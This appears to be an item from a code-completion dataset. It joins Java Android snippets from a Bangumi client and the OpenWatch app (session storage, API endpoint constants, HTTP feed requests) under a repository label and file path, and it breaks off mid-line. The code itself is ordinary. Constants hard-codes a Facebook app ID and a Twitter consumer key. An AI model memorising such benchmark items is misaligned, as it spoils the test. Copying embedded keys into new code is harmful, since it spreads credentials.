pref.edit().putString(KEY_USER_NICKNAME, nickname).apply();\n }\n\n public String getUserAvatar() {\n return pref.getString(KEY_USER_AVATAR, \"\");\n }\n\n public void setUserAvatar(String avatar) {\n pref.edit().putString(KEY_USER_AVATAR, avatar).apply();\n }\n\n public User getUser() {\n return isLogin() ? new User(getUserId(), getUserNickname(), getUserAvatar()) : null;\n }\n\n public void logout() {\n pref.edit()\n .putBoolean(KEY_IS_LOGIN, false)\n .remove(KEY_AUTH)\n .remove(KEY_AUTH_ENCODE)\n .remove(KEY_USER_ID)\n .remove(KEY_USER_NICKNAME)\n .remove(KEY_USER_AVATAR)\n .apply();\n BusProvider.getInstance().post(new SessionChangeEvent(false));\n }\n\n}", "public class ToastManager {\n\n private static Toast mToast;\n\n public static void show(Context ctx, String text) {\n\n if (mToast != null) {\n mToast.cancel();\n }\n\n mToast = Toast.makeText(ctx, text, Toast.LENGTH_SHORT);\n mToast.show();\n }\n\n}" ]
import android.os.Bundle; import android.support.v4.widget.SwipeRefreshLayout; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import java.util.ArrayList; import java.util.List; import io.github.scarletsky.bangumi.BangumiApplication; import io.github.scarletsky.bangumi.R; import io.github.scarletsky.bangumi.adapters.CardRecyclerAdapter; import io.github.scarletsky.bangumi.api.ApiManager; import io.github.scarletsky.bangumi.api.models.UserCollection; import io.github.scarletsky.bangumi.ui.widget.MarginDecoration; import io.github.scarletsky.bangumi.utils.BusProvider; import io.github.scarletsky.bangumi.utils.SessionManager; import io.github.scarletsky.bangumi.utils.ToastManager; import retrofit.Callback; import retrofit.RetrofitError; import retrofit.client.Response;
package io.github.scarletsky.bangumi.ui.fragments; /** * Created by scarlex on 15-7-8. */ public class CollectionFragment extends BaseToolbarFragment { private static final String TAG = CollectionFragment.class.getSimpleName();
private SessionManager session = BangumiApplication.getInstance().getSession();
0
OpenWatch/OpenWatch-Android
app/OpenWatch/src/org/ale/openwatch/OWInvestigationViewActivity.java
[ "public class Constants {\n\n public static final String SUPPORT_EMAIL = \"team@openwatch.net\";\n public static final String GOOGLE_STORE_URL = \"https://play.google.com/store/apps/details?id=org.ale.openwatch\";\n public static final String APPLE_STORE_URL = \"https://itunes.apple.com/us/app/openwatch-social-muckraking/id642680756?mt=8\";\n\n // Facebook\n public static final String FB_APP_ID = \"297496017037529\";\n\n // Twitter\n public static final String TWITTER_CONSUMER_KEY = \"rRMW0cVIED799WgbeoA\";\n\t\n\t// Set this flag to toggle between production \n\t// and development endpoint addresses\n\tpublic static final boolean USE_DEV_ENDPOINTS = false;\n\t\n\tpublic static final String PROD_HOST = \"https://openwatch.net/\";\n\tpublic static final String PROD_CAPTURE_HOST = \"https://capture.openwatch.net/\";\n\n public static final String DEV_HOST = \"https://staging.openwatch.net/\";\n public static final String DEV_CAPTURE_HOST = \"https://capture-staging.openwatch.net/\";\n\n\t//public static final String DEV_HOST = \"http://192.168.1.27:8000/\";\n //public static final String DEV_CAPTURE_HOST = \"http://192.168.1.27:5000/\";\n\n public static final String PASSWORD_RESET_ENDPOINT = \"accounts/password/reset/\";\n\t\n\t// OpenWatch web service root url and endpoints\n\tpublic static final String OW_MEDIA_URL;\n\tpublic static final String OW_API_URL;\n\tpublic static final String OW_URL;\n\t\n\tstatic {\n\t\tif(USE_DEV_ENDPOINTS){\n\t\t\tOW_MEDIA_URL = DEV_CAPTURE_HOST;\n\t\t\tOW_URL = DEV_HOST;\n\t\t\tOW_API_URL = DEV_HOST + \"api/\";\n\t\t}else{\n\t\t\tOW_MEDIA_URL = PROD_CAPTURE_HOST;\n\t\t\tOW_URL = PROD_HOST;\n\t\t\tOW_API_URL = PROD_HOST + \"api/\";\n\t\t}\n\t}\n\n\n\n\n // For view tag\n\tpublic static enum CONTENT_TYPE { VIDEO, PHOTO, AUDIO, STORY, INVESTIGATION, MISSION };\n\t// for fileUtils and OWServiceRequests. TODO Delete following\n\t//public static enum MEDIA_TYPE { VIDEO, PHOTO, AUDIO };\n\t//public static HashMap<MEDIA_TYPE, String> API_ENDPOINT_BY_MEDIA_TYPE = new HashMap<MEDIA_TYPE, String>() {{put(MEDIA_TYPE.VIDEO, \"v\"); put(MEDIA_TYPE.PHOTO, \"p\"); put(MEDIA_TYPE.AUDIO, \"a\"); }};\n\tpublic static HashMap<CONTENT_TYPE, String> API_ENDPOINT_BY_CONTENT_TYPE = new HashMap<CONTENT_TYPE, String>() {{ put(CONTENT_TYPE.VIDEO, \"v\"); put(CONTENT_TYPE.PHOTO, \"p\"); put(CONTENT_TYPE.AUDIO, \"a\");put(CONTENT_TYPE.MISSION, \"mission\"); put(CONTENT_TYPE.INVESTIGATION, \"i\"); put(CONTENT_TYPE.STORY, \"s\"); }};\n\tpublic static final String OW_CONTENT_TYPE = \"owcontent_type\";\n\t\n\t// Date Formatter for OW server time\n\tpublic static SimpleDateFormat utc_formatter = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\", Locale.US);\n\t// Human readable\n\tpublic static SimpleDateFormat user_date_formatter = new SimpleDateFormat(\"MMM dd, yyyy\", Locale.US);\n\tpublic static SimpleDateFormat user_datetime_formatter = new SimpleDateFormat(\"MMM dd, yyyy h:mm a\", Locale.US);\n\tpublic static SimpleDateFormat user_time_formatter = new SimpleDateFormat(\"h:mm a\", Locale.US);\n\t\n\tstatic{\n\t\tutc_formatter.setTimeZone(TimeZone.getTimeZone(\"UTC\"));\n\t\tuser_datetime_formatter.setTimeZone(TimeZone.getDefault());\n\t\tuser_time_formatter.setTimeZone(TimeZone.getDefault());\n\t\tuser_date_formatter.setTimeZone(TimeZone.getDefault());\n\t}\n\t\n\tpublic static final String USER_AGENT_BASE = \"OpenWatch/\";\n\t\n\tstatic{\n\t\t\n\t}\n\n\t// SharedPreferences titles\n\tpublic static final String PROFILE_PREFS = \"Profile\";\n public static final String GCM_PREFS = \"gcm\";\n\t\n\t// External storage \n\tpublic static final String ROOT_OUTPUT_DIR = \"OpenWatch\";\n\tpublic static final String VIDEO_OUTPUT_DIR = \"video\";\n\tpublic static final String PHOTO_OUTPUT_DIR = \"photo\";\n\tpublic static final String AUDIO_OUTPUT_DIR = \"audio\";\n\t\n\t// User profile keys. Used for SharedPreferences and Intent Extras\n\tpublic static final String EMAIL = \"email\";\n\tpublic static final String AUTHENTICATED = \"authenticated\";\n\tpublic static final String DB_READY = \"db_ready\";\n\tpublic static final String PUB_TOKEN = \"public_upload_token\"; \t\t// used for profile and to parse server login response\n\tpublic static final String PRIV_TOKEN = \"private_upload_token\";\t\t// used for profile and to parse server login response\n\tpublic static final String REGISTERED = \"registered\"; \n\tpublic static final String VIEW_TAG_MODEL = \"model\";\t\t// key set on listview item holding corresponding model pk\n\tpublic static final String INTERNAL_DB_ID = \"id\";\n public static final String SERVER_ID = \"server_id\";\n\tpublic static final String INTERNAL_USER_ID = \"id\";\n\tpublic static final String IS_LOCAL_RECORDING = \"is_local\";\n\tpublic static final String IS_USER_RECORDING = \"is_user_recording\";\n\tpublic static final String FEED_TYPE = \"feed_type\";\n public static final String OBLIGATORY_TAG = \"tag\";\n public static final String MISSION_TIP = \"mtip\";\n public static final int CAMERA_ACTION_CODE = 444;\n public static final String TWITTER_TOKEN = \"ttoken\";\n public static final String TWITTER_SECRET = \"tsecret\";\n public static final String LAST_MISSION_DATE = \"last_mission_date\";\n public static final String LAST_MISSION_ID = \"last_mission_id\";\n public static final String JOINED_FIRST_MISSION = \"joined_first_mission\";\n public static final String MISSION_SERVER_OBJ_ID = \"msid\";\n public static final String VICTORY = \"victory\";\n\n\t\n\t// Email REGEX\n\tpublic static final Pattern EMAIL_ADDRESS_PATTERN = Pattern.compile(\n \"[a-zA-Z0-9+._%-+]{1,256}\" +\n \"@\" +\n \"[a-zA-Z0-9][a-zA-Z0-9-]{0,64}\" +\n \"(\" +\n \".\" +\n \"[a-zA-Z0-9][a-zA-Z0-9-]{0,25}\" +\n \")+\"\n );\n\t\n\t// API Request timeout (ms)\n\tpublic static final int TIMEOUT = 5000;\n\t\n\t// openwatch.net api endpoints\n\tpublic static final String OW_STORY_VIEW = \"s/\";\n\tpublic static final String OW_RECORDING_VIEW = \"v/\";\n\tpublic static final String OW_LOGIN = \"login_account\";\n\tpublic static final String OW_SIGNUP = \"create_account\";\n\tpublic static final String OW_REGISTER = \"register_app\";\n\tpublic static final String OW_RECORDING = \"recording\";\n\tpublic static final String OW_RECORDINGS = \"recordings\";\n public static final String OW_FEATURED_MEDIA = \"featured_media\";\n\tpublic static final String OW_STORY = \"story\";\n\tpublic static final String OW_TAGS = \"tags\";\n\tpublic static final String OW_TAG = \"tag\";\n\tpublic static final String OW_UPDATE_META = \"update_metadata\";\n\tpublic static final String OW_FEED = \"feed\";\n\t\n\t// Feed names\n\tpublic static final String OW_LOCAL = \"local\";\n\tpublic static final String OW_FEATURED = \"featured\";\n\tpublic static final String OW_FOLLOWING = \"following\";\n public static final String OW_RAW = \"raw\";\n\t// Feed types : Each is related to an API endpoint in OWServiceRequests getFeed\n\t/*\n public static enum OWFeedType{\n\t\tTOP, LOCAL, FOLLOWING, USER, RAW\n\t}\n\t*/\n public static enum OWFeedType{\n TOP, LOCAL, USER, RAW, MISSION, FEATURED_MEDIA\n }\n\n public static HashMap<String, Integer> FEED_TO_TITLE = new HashMap<String, Integer>() {{put(OWFeedType.FEATURED_MEDIA.toString().toLowerCase(), R.string.tab_featured_media); put(OWFeedType.MISSION.toString().toLowerCase(), R.string.tab_missions); put(OWFeedType.TOP.toString().toLowerCase(), R.string.tab_featured); put(OWFeedType.LOCAL.toString().toLowerCase(), R.string.tab_local); put(OWFeedType.RAW.toString().toLowerCase(), R.string.tab_Raw); put(OWFeedType.USER.toString().toLowerCase(), R.string.tab_local_user_recordings); }};\n\t\n\tpublic static ArrayList<String> OW_FEEDS = new ArrayList<String>();\n\tstatic{\n\t\tOWFeedType[] feed_types = OWFeedType.values();\n\t\tfor(int x=0; x< feed_types.length; x++){\n\t\t\tOW_FEEDS.add(feed_types[x].toString().toLowerCase());\n\t\t}\n\t}\n\t\n\tpublic static boolean isOWFeedTypeGeoSensitive(String feed_type){\n if(feed_type == null)\n return false;\n\t\tif(feed_type.trim().toLowerCase().compareTo(OWFeedType.LOCAL.toString().toLowerCase()) == 0)\n\t\t\treturn true;\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * To be removed\n\t * For user with external OWServiceRequests\n\t * @param type\n\t * @return\n\t */\n\tpublic static String feedExternalEndpointFromType(OWFeedType type, int page){\n\t\t/*\n\t\tString endpoint = \"\";\n\n\t\tswitch(type){\n\t\tcase USER:\n\t\t\tendpoint = Constants.OW_API_URL + Constants.OW_RECORDINGS;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tendpoint = Constants.OW_API_URL + Constants.OW_FEED + File.separator + feedInternalEndpointFromType(type);\n\t\t\tbreak;\n\t\t}\n\t\treturn endpoint + File.separator + String.valueOf(page);\n\t\t*/\n\t\treturn feedExternalEndpointFromString(type.toString().toLowerCase(), page);\n\t}\n\t\n\tpublic static String feedExternalEndpointFromString(String type, int page){\n\t\tString endpoint = \"\";\n\t\tif(!OW_FEEDS.contains(type) ){\n // tag feed\n\t\t\tendpoint = Constants.OW_API_URL + Constants.OW_TAG + File.separator + \"?tag=\"+ type + \"&page=\" + String.valueOf(page);\n\t\t}else{\n if(type.equals(\"top\")){\n endpoint = Constants.OW_API_URL + API_ENDPOINT_BY_CONTENT_TYPE.get(CONTENT_TYPE.INVESTIGATION) + \"/?page=\" + String.valueOf(page);\n }else if(type.equals(\"mission\")){\n endpoint = Constants.OW_API_URL + API_ENDPOINT_BY_CONTENT_TYPE.get(CONTENT_TYPE.MISSION) + \"/?page=\" + String.valueOf(page);\n }else\n\t\t\t endpoint = Constants.OW_API_URL + Constants.OW_FEED + File.separator + \"?type=\"+ type + \"&page=\" + String.valueOf(page);\n\t\t}\n\t\t\n\t\treturn endpoint;\n\t}\n\t\n\t/**\n\t * For user with the internal ContentProvider\n\t * To remove\n\t * @param type\n\t * @return\n\t */\n\tpublic static String feedInternalEndpointFromType(OWFeedType type){\n\t\tString endpoint = \"\";\n\t\tswitch(type){\n\t\tcase TOP:\n\t\t\tendpoint = Constants.OW_FEATURED;\n\t\t\tbreak;\n\t\tcase LOCAL:\n\t\t\tendpoint = Constants.OW_LOCAL;\n\t\t\tbreak;\n\t\t//case FOLLOWING:\n\t\t//\tendpoint = Constants.OW_FOLLOWING;\n\t\t//\tbreak;\n\t\tcase USER:\n\t\t\tendpoint = Constants.OW_RECORDINGS;\n\t\t\tbreak;\n case FEATURED_MEDIA:\n endpoint = Constants.OW_FEATURED_MEDIA;\n break;\n case RAW:\n endpoint = Constants.OW_RAW;\n break;\n\t\t}\n\t\treturn endpoint;\n\t}\n\t\n\t// OpenWatch web service POST keys\n\tpublic static final String OW_EMAIL = \"email_address\";\n\tpublic static final String OW_PW = \"password\";\n\tpublic static final String OW_SIGNUP_TYPE = \"signup_type\";\n\t\n\t// OpenWatch web service response keys\n\tpublic static final String OW_SUCCESS = \"success\";\n\tpublic static final String OW_ERROR = \"code\";\n\tpublic static final String OW_REASON = \"reason\";\n\tpublic static final String OW_SERVER_ID = \"id\";\n\tpublic static final String OW_THUMB_URL = \"thumbnail_url\";\n\tpublic static final String OW_LAST_EDITED = \"last_edited\";\n\tpublic static final String OW_CREATION_TIME = \"reported_creation_time\";\n\tpublic static final String OW_ACTIONS = \"clicks\";\n\tpublic static final String OW_NO_VALUE = \"None\";\n\tpublic static final String OW_USER = \"user\";\n\tpublic static final String OW_VIEWS = \"views\";\n\tpublic static final String OW_TITLE = \"title\";\n\tpublic static final String OW_USERNAME = \"username\";\n public static final String OW_FIRST_NAME = \"first_name\";\n public static final String OW_LAST_NAME = \"last_name\";\n\tpublic static final String OW_CLICKS = \"clicks\";\n\tpublic static final String OW_UUID = \"uuid\";\n\tpublic static final String OW_VIDEO_URL = \"video_url\";\n\tpublic static final String OW_FIRST_POSTED = \"first_posted\";\n\tpublic static final String OW_END_LOCATION = \"end_location\";\n\tpublic static final String OW_START_LOCATION = \"start_location\";\n\tpublic static final String OW_BLURB = \"bio\";\n\tpublic static final String OW_SLUG = \"slug\";\n\tpublic static final String OW_BODY = \"body\";\n\tpublic static final String OW_NAME = \"name\";\n public static final String OW_EXPIRES = \"expires\";\n public static final String OW_AGENTS = \"agents\";\n public static final String OW_SUBMISSIONS = \"submissions\";\n\t\n\t// OpenWatch media capture web service url and endpoints\n\tpublic static final String OW_MEDIA_START = \"start\";\n\tpublic static final String OW_MEDIA_END = \"end\";\n\tpublic static final String OW_MEDIA_UPLOAD = \"upload\";\n\tpublic static final String OW_MEDIA_HQ_UPLOAD = \"upload_hq\";\n\tpublic static final String OW_MEDIA_UPDATE_META = \"update_metadata\";\n\n public static final String OW_HQ_FILENAME = \"hq.mp4\";\n\t\n\t// OpenWatch media capture web service POST keys\n\tpublic static final String OW_REC_START = \"recording_start\";\n\tpublic static final String OW_REC_END = \"recording_end\";\n\tpublic static final String OW_REC_UUID = \"uuid\";\n\tpublic static final String OW_ALL_FILES = \"all_files\";\n\tpublic static final String OW_UP_TOKEN = \"upload_token\";\n\tpublic static final String OW_FILE = \"upload\";\n\tpublic static final String OW_MEDIA_TITLE = \"title\";\n\tpublic static final String OW_DESCRIPTION = \"description\";\n\tpublic static final String OW_EDIT_TIME = \"last_edited\";\n\tpublic static final String OW_START_LOC = \"start_location\";\n\tpublic static final String OW_END_LOC = \"end_location\";\n\tpublic static final String OW_START_LAT = \"start_lat\";\n\tpublic static final String OW_START_LON = \"start_lon\";\n\tpublic static final String OW_END_LAT = \"end_lat\";\n\tpublic static final String OW_END_LON = \"end_lon\";\n\tpublic static final String OW_LAT = \"latitude\";\n\tpublic static final String OW_LON = \"longitude\";\n public static final String OW_USD = \"usd\";\n public static final String OW_KARMA = \"karma\";\n public static final String OW_ACTIVE = \"active\";\n public static final String OW_COMPLETED = \"completed\";\n public static final String OW_MEDIA_BUCKET = \"media_url\";\n\t\n\t// Hit counts\n\tpublic static enum HIT_TYPE { VIEW, CLICK };\n\tpublic static final String OW_STATUS = \"status\";\n\tpublic static final String OW_HIT_URL = \"increase_hitcount\";\n\tpublic static final String OW_HIT_SERVER_ID = \"serverID\";\n\tpublic static final String OW_HIT_MEDIA_TYPE = \"media_type\";\n\tpublic static final String OW_HIT_TYPE = \"hit_type\";\n\tpublic static final String OW_HITS = \"hits\";\n\n // BroadcastReceiver Intent filter\n public static final String OW_SYNC_STATE_FILTER = \"server_object_sync\";\n public static final String OW_SYNC_STATE_STATUS = \"status\";\n public static final String OW_SYNC_STATE_MODEL_ID = \"model_id\";\n public static final String OW_SYNC_STATE_CHILD_ID = \"child_model_id\";\n public static final int OW_SYNC_STATUS_BEGIN = 0;\n public static final int OW_SYNC_STATUS_BEGIN_BULK = 10;\n public static final int OW_SYNC_STATUS_END_BULK = 20;\n public static final int OW_SYNC_STATUS_FAILED = -1;\n public static final int OW_SYNC_STATUS_SUCCESS = 1;\n\n // General\n public static final String USD = \"$\";\n\n}", "public static enum CONTENT_TYPE { VIDEO, PHOTO, AUDIO, STORY, INVESTIGATION, MISSION };", "public static enum HIT_TYPE { VIEW, CLICK };", "public class OWServiceRequests {\n\n\tprivate static final String TAG = \"OWServiceRequests\";\n\n public interface RequestCallback {\n\t\tpublic void onFailure();\n\t\tpublic void onSuccess();\n\t}\n\t\n\tpublic interface PaginatedRequestCallback{\n\t\tpublic void onSuccess(int page, int object_count, int total_pages);\n\t\tpublic void onFailure(int page);\n\t}\n\n\n\tpublic static void increaseHitCount(final Context app_context, int server_id, final int media_obj_id, final CONTENT_TYPE content_type, final HIT_TYPE hit_type){\n\t\tfinal String METHOD = \"increaseHitCount\";\n\t\tJsonHttpResponseHandler post_handler = new JsonHttpResponseHandler(){\n\t\t\t@Override\n\t\t\tpublic void onSuccess(JSONObject response) {\n\t\t\t\tLog.i(TAG, METHOD + \"success! \" + response.toString());\n\t\t\t\ttry {\n\t\t\t\t\tif (response.has(Constants.OW_STATUS) && response.getString(Constants.OW_STATUS).compareTo(Constants.OW_SUCCESS) ==0) {\n\t\t\t\t\n\t\t\t\t\t\tOWServerObject obj = OWServerObject.objects(app_context, OWServerObject.class).get(media_obj_id);\n\t\t\t\t\t\tif(response.has(Constants.OW_HITS)){\n\t\t\t\t\t\t\tswitch(hit_type){\n\t\t\t\t\t\t\t\tcase VIEW:\n\t\t\t\t\t\t\t\t\tobj.setViews(app_context, response.getInt(Constants.OW_HITS));\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase CLICK:\n\t\t\t\t\t\t\t\t\tobj.setActions(app_context, response.getInt(Constants.OW_HITS));\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tobj.save(app_context);\n\t\t\t\t\t}\n\t\t\t\t} catch (JSONException e) {\n\t\t\t\t\tLog.e(TAG, \"Error processing hitcount response\");\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\t\n\t\tJSONObject params = new JSONObject();\n\t\ttry {\n\t\t\tparams.put(Constants.OW_HIT_SERVER_ID, server_id);\n\t\t\tparams.put(Constants.OW_HIT_MEDIA_TYPE, content_type.toString().toLowerCase());\n\t\t\tparams.put(Constants.OW_HIT_TYPE, hit_type.toString().toLowerCase());\n\t\t} catch (JSONException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\thttp_client.post(app_context, Constants.OW_API_URL + Constants.OW_HIT_URL, Utils.JSONObjectToStringEntity(params),\n\t\t\t\t\"application/json\", post_handler);\n\t\t\n\t}\n\n\tpublic static void getStory(final Context app_context, final int id,\n\t\t\tfinal RequestCallback callback) {\n\t\tfinal String METHOD = \"getStory\";\n\n\t\tJsonHttpResponseHandler get_handler = new JsonHttpResponseHandler() {\n\t\t\t@Override\n\t\t\tpublic void onSuccess(JSONObject response) {\n\t\t\t\tLog.i(TAG, METHOD + \"success! \" + response.toString());\n\t\t\t\tif (response.has(Constants.OW_STORY)) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tOWStory.createOrUpdateOWStoryWithJson(app_context,\n\t\t\t\t\t\t\t\tresponse.getJSONObject(Constants.OW_STORY));\n\t\t\t\t\t\tcallback.onSuccess();\n\t\t\t\t\t} catch (JSONException e) {\n\t\t\t\t\t\tLog.e(TAG,\n\t\t\t\t\t\t\t\t\"Error creating or updating Recording with json\");\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFailure(Throwable e, JSONObject errorResponse) {\n\t\t\t\tLog.i(TAG, METHOD + \" failed: \" + errorResponse.toString());\n\t\t\t\te.printStackTrace();\n\t\t\t\tcallback.onFailure();\n\t\t\t}\n\t\t};\n\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\thttp_client.get(Constants.OW_API_URL + \"s\"\n\t\t\t\t+ File.separator + String.valueOf(id), get_handler);\n\t\tLog.i(TAG, METHOD + \" : \" + Constants.OW_API_URL + \"s\"\n\t\t\t\t+ File.separator + String.valueOf(id));\n\t}\n\n\tpublic static void getRecording(final Context app_context,\n\t\t\tfinal String uuid, final RequestCallback callback) {\n\t\tfinal String METHOD = \"getRecording\";\n\t\tif (uuid == null)\n\t\t\treturn;\n\n\t\tJsonHttpResponseHandler get_handler = new JsonHttpResponseHandler() {\n\t\t\t@Override\n\t\t\tpublic void onSuccess(JSONObject response) {\n\t\t\t\tif (response.has(Constants.OW_RECORDING)) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tOWVideoRecording.createOrUpdateOWRecordingWithJson(\n\t\t\t\t\t\t\t\tapp_context,\n\t\t\t\t\t\t\t\tresponse.getJSONObject(Constants.OW_RECORDING));\n\t\t\t\t\t\tcallback.onSuccess();\n\t\t\t\t\t} catch (JSONException e) {\n\t\t\t\t\t\tLog.e(TAG,\n\t\t\t\t\t\t\t\t\"Error creating or updating Recording with json\");\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onFailure(Throwable e, JSONObject errorResponse) {\n\t\t\t\tLog.i(TAG, METHOD + \" failed: \" + errorResponse.toString());\n\t\t\t\te.printStackTrace();\n\t\t\t\tcallback.onFailure();\n\t\t\t}\n\t\t};\n\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\thttp_client.get(Constants.OW_API_URL + Constants.OW_RECORDING\n\t\t\t\t+ File.separator + uuid, get_handler);\n\t\tLog.i(TAG, METHOD + \" : \" + Constants.OW_API_URL\n\t\t\t\t+ Constants.OW_RECORDING + File.separator + uuid);\n\t}\n\t\n\t/**\n\t * Gets the device's current location and posts it in OW standard format\n\t * along with a request for a feed.\n\t * \n\t * OW standard location format:\n\t * {\n \t *\t'location': {\n * \t\t'latitude':39.00345433,\n * \t\t'longitude':-70.2440393\n \t *\t}\n`\t * }\n\t * @param app_context\n\t * @param page\n\t * @param cb\n\t */\n\tpublic static void getGeoFeed(final Context app_context, final Location gps_location, final String feed_name, final int page, final PaginatedRequestCallback cb){\n\n String urlparams = \"\";\n if(gps_location != null){\n urlparams += String.format(\"&latitude=%f&longitude=%f\",gps_location.getLatitude(), gps_location.getLongitude());\n Log.i(TAG, String.format(\"got location for geo feed: lat: %f , lon: %f\", gps_location.getLatitude(), gps_location.getLongitude()));\n }\n\n getFeed(app_context, urlparams, feed_name, page, cb);\n\n\t}\n\t\n\tpublic static void getFeed(final Context app_context, final String feed_name, final int page, final PaginatedRequestCallback cb){\n\t\tgetFeed(app_context, \"\", feed_name, page, cb);\n\t}\n\t\n\n\t/**\n\t * Parse an OpenWatch.net feed, saving its contents to the databasee\n\t * \n\t * @param app_context\n */\n private static String last_feed_name;\n private static long last_request_time = System.currentTimeMillis();\n private static final long request_threshold = 250; // ignore duplicate requests separated by less than this many ms\n\tprivate static void getFeed(final Context app_context, String getParams, final String ext_feed_name, final int page, final PaginatedRequestCallback cb){\n if(last_feed_name != null && last_feed_name.compareTo(ext_feed_name) == 0){\n if(System.currentTimeMillis() - last_request_time < request_threshold){\n Log.i(TAG, String.format(\"Aborting request for feed %s, last completed %d ms ago\", last_feed_name, last_request_time - System.currentTimeMillis()));\n if(cb != null)\n cb.onFailure(page);\n return;\n }\n }\n last_feed_name = ext_feed_name;\n last_request_time = System.currentTimeMillis();\n\t\tfinal String METHOD = \"getFeed\";\n\t\tfinal String feed_name = ext_feed_name.trim().toLowerCase();\n\t\t\n\t\tJsonHttpResponseHandler get_handler = new JsonHttpResponseHandler(){\n\t\t\t@Override\n \t\tpublic void onSuccess(JSONObject response){\n\t\t\t\tif(response.has(\"objects\")){\n\t\t\t\t\tint internal_user_id = 0;\n Log.i(TAG, String.format(\"got %s feed response: \",feed_name) );\n\t\t\t\t\t//Log.i(TAG, String.format(\"got %s feed response: %s \",feed_name, response.toString()) );\n\t\t\t\t\tif(feed_name.compareTo(OWFeedType.USER.toString().toLowerCase()) == 0){\n\t\t\t\t\t\tSharedPreferences profile = app_context.getSharedPreferences(Constants.PROFILE_PREFS, 0);\n\t\t\t\t internal_user_id = profile.getInt(Constants.INTERNAL_USER_ID, 0);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tParseFeedTask parseTask = new ParseFeedTask(app_context, cb, feed_name, page, internal_user_id);\n\t\t\t\t\tparseTask.execute(response);\n\t\t\t\t\t\n\t\t\t\t}else try {\n if(response.has(\"success\") && response.getBoolean(\"success\") == false){\n handleOWApiError(app_context, response);\n }else{\n Log.e(TAG, \"Feed response format unexpected\" + response.toString());\n }\n } catch (JSONException e) {\n e.printStackTrace();\n }\n\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void onFailure(Throwable e, JSONObject errorResponse){\n\t\t\t\tif(cb != null)\n\t\t\t\t\tcb.onFailure(page);\n\t\t\t\tLog.i(TAG, METHOD + \" failed: \" + errorResponse.toString());\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t};\n\t\t\n\t\tAsyncHttpClient http_client = HttpClient.setupAsyncHttpClient(app_context);\n\t\tString endpoint = Constants.feedExternalEndpointFromString(feed_name, page);\n\n\t\thttp_client.get(endpoint + getParams, get_handler);\n\n\t\tLog.i(TAG, \"getFeed: \" + endpoint+getParams);\n\t}\n\n\t/**\n\t * Parses a Feed, updating the database and notifying\n\t * the appropriate feed uris of changed content\n\t * @author davidbrodsky\n\t *\n\t */\n\tpublic static class ParseFeedTask extends AsyncTask<JSONObject, Void, Boolean> {\n\t\t\n\t\tPaginatedRequestCallback cb;\n\t\tContext c;\n\t\tString feed_name;\n\t\tboolean success = false;\n\t\t\n\t\tint object_count = -1;\n\t\tint page_count = -1;\n\t\tint page_number = -1;\n\t\tint user_id = -1;\n\t\t\n\t\tint current_page = -1;\n\t\t\n\t\tpublic ParseFeedTask(Context c, PaginatedRequestCallback cb, String feed_name, int current_page, int user_id){\n\t\t\tthis.cb = cb;\n\t\t\tthis.c = c;\n\t\t\tthis.feed_name = feed_name;\n\t\t\tthis.current_page = current_page;\n\t\t\tthis.user_id = user_id;\n\t\t}\n\t\t\n\n\t\t@Override\n\t\tprotected Boolean doInBackground(JSONObject... params) {\n // Benchmarking\n long start_time = System.currentTimeMillis();\n //Log.i(\"Benchmark\", String.format(\"begin parsing %s feed\", feed_name));\n\t\t\tDatabaseAdapter adapter = DatabaseAdapter.getInstance(c);\n\t\t\tadapter.beginTransaction();\n\t\t\t\n\t\t\tJSONObject response = params[0];\n\t\t\ttry{\n\t\t\t\t//If we're fetching the first page, it \n\t\t\t\t//means we're rebuilding this feed\n\t\t\t\tif(current_page == 1){\n\t\t\t\t\tFilter filter = new Filter();\n\t\t\t\t\tfilter.is(DBConstants.FEED_NAME, feed_name);\n\t\t\t\t\tQuerySet<OWFeed> feedset = OWFeed.objects(c, OWFeed.class).filter(filter);\n\t\t\t\t\tfor(OWFeed feed : feedset){\n\t\t\t\t\t\tfeed.delete(c);\n\t\t\t\t\t}\n\t\t\t\t}\n //Benchmark\n long obj_start_time;\n\t\t\t\t// Now parse the new data and create the feed anew\n\t\t\t\tJSONArray json_array = response.getJSONArray(\"objects\");\n\t\t\t\tJSONObject json_obj;\n\t\t\t\tfor(int x=0; x<json_array.length(); x++){\n\t\t\t\t\tjson_obj = json_array.getJSONObject(x);\n\t\t\t\t\tif(json_obj.has(\"type\")){\n\t\t\t\t\t\tif(json_obj.getString(\"type\").compareTo(\"video\") == 0){\n //obj_start_time = System.currentTimeMillis();\n\t\t\t\t\t\t\tOWVideoRecording.createOrUpdateOWRecordingWithJson(c, json_obj, OWFeed.getFeedFromString(c, feed_name), adapter);\n //Log.i(\"Benchamrk\", String.format(\"createdOrUpdated video in %d ms\", System.currentTimeMillis() - obj_start_time));\n }\n\t\t\t\t\t\telse if(json_obj.getString(\"type\").compareTo(\"story\") == 0){\n\t\t\t\t\t\t\tOWStory.createOrUpdateOWStoryWithJson(c, json_obj, OWFeed.getFeedFromString(c, feed_name));\n }\n\t\t\t\t\t\telse if(json_obj.getString(\"type\").compareTo(\"photo\") == 0){\n //obj_start_time = System.currentTimeMillis();\n\t\t\t\t\t\t\tOWPhoto.createOrUpdateOWPhotoWithJson(c, json_obj, OWFeed.getFeedFromString(c, feed_name));\n //Log.i(\"Benchamrk\", String.format(\"createdOrUpdated photo in %d ms\", System.currentTimeMillis() - 